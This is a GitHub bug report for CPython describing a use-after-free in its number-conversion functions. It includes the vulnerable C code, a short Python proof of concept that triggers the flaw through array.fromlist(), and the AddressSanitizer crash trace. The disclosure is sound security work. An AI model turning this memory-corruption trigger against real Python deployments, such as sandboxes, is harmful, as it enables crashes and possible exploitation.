Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

CPython UaF during index callbacks #144128

Open
Labels
3.13bugs and security fixes3.14bugs and security fixes3.15new features, bugs and security fixesextension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump
@yo-yo-yo-jbo

Description

@yo-yo-yo-jbo

Bug report

Bug description:

The _PyNumber_Index, PyFloat_AsDouble and PyNumber_Long functions use a borrowed reference for error formatting after calling Python slots (index/float), but the slot's frame cleanup can free the object before the error is formatted.

A use-after-free vulnerability exists in CPython's type conversion functions (_PyNumber_Index, PyFloat_AsDouble and PyNumber_Long) where a borrowed reference is used for error message formatting after a Python callback that can free the referenced object.
For example, the vulnerable code pattern could be observed in _PyNumber_Index implementation (Objects/abstract.c):

PyObject*_PyNumber_Index(PyObject*item)// item is a BORROWED reference  {if (item==NULL) {returnnull_error();      }if (PyLong_Check(item)) {returnPy_NewRef(item);      }if (!_PyIndex_Check(item)) {PyErr_Format(PyExc_TypeError,"'%.200s' object cannot be interpreted ""as an integer",Py_TYPE(item)->tp_name);returnNULL;      }// === PYTHON CODE EXECUTES HERE ===PyObject*result=Py_TYPE(item)->tp_as_number->nb_index(item);// === item MAY NOW BE FREED ===if (!result||PyLong_CheckExact(result)) {returnresult;      }if (!PyLong_Check(result)) {PyErr_Format(PyExc_TypeError,"%T.__index__() must return an int, not %T",item,result);// <== UAF: item may be freedPy_DECREF(result);returnNULL;      }// ... similar pattern continues  }

Similar patterns can be found in the PyFloat_AsDouble and PyNumber_Long functions.

The Python array.fromlist() method provides an ideal attack vector because it:

Iterates over a list using PyList_GET_ITEM() (returns borrowed reference)
Passes the borrowed reference directly to type-specific setitem functions
These functions call _PyNumber_Index() or PyFloat_AsDouble() for conversion.

Running with a python interpreter compiled with ASAN (./configure --with-address-sanitizer):

importarrayclassEvil:def__init__(self,lst):self.lst=lstdef__index__(self):self.lst.clear()return"not an int"lst= []e=Evil(lst)lst.append(e)delearr=array.array('I')arr.fromlist(lst)

You'll get the following:

==73525==ERROR: AddressSanitizer: heap-use-after-free on address 0x6130000300b8 at pc 0x0001013458a4 bp 0x00016ee396f0 sp 0x00016ee396e8READ of size 8 at 0x6130000300b8 thread T0    #0 0x0001013458a0 in unicode_from_format unicodeobject.c:3075    #1 0x0001013436a8 in PyUnicode_FromFormatV unicodeobject.c:3109    #2 0x00010154d5c8 in PyErr_Format errors.c:1243    #3 0x0001010fe4e8 in _PyNumber_Index abstract.c:1433    #4 0x000109338334 in II_setitem arraymodule.c:411    #5 0x0001093427d4 in array_array_fromlist arraymodule.c.h:495    #6 0x00010114aeb0 in _PyObject_VectorcallTstate pycore_call.h:136    #7 0x0001014828ac in _Py_VectorCallInstrumentation_StackRefSteal ceval.c:1094    #8 0x0001014b4718 in _PyEval_EvalFrameDefault generated_cases.c.h:1785    #9 0x00010148180c in _PyEval_Vector ceval.c:2516    #10 0x00010148105c in PyEval_EvalCode ceval.c:1005    #11 0x000101646118 in run_mod pythonrun.c:1469    #12 0x00010163e6a0 in _PyRun_SimpleFileObject pythonrun.c:518    #13 0x00010163da30 in _PyRun_AnyFileObject pythonrun.c:81    #14 0x0001016ac948 in pymain_run_file main.c:429    #15 0x0001016aabcc in Py_RunMain main.c:772    #16 0x0001016ab9fc in pymain_main main.c:802    #17 0x0001016abba8 in Py_BytesMain main.c:826    #18 0x00019e4edd50  (<unknown module>)

CPython versions tested on:

3.15

Operating systems tested on:

macOS

Linked PRs

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.13bugs and security fixes3.14bugs and security fixes3.15new features, bugs and security fixesextension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions


      [8]ページ先頭

      ©2009-2026 Movatter.jp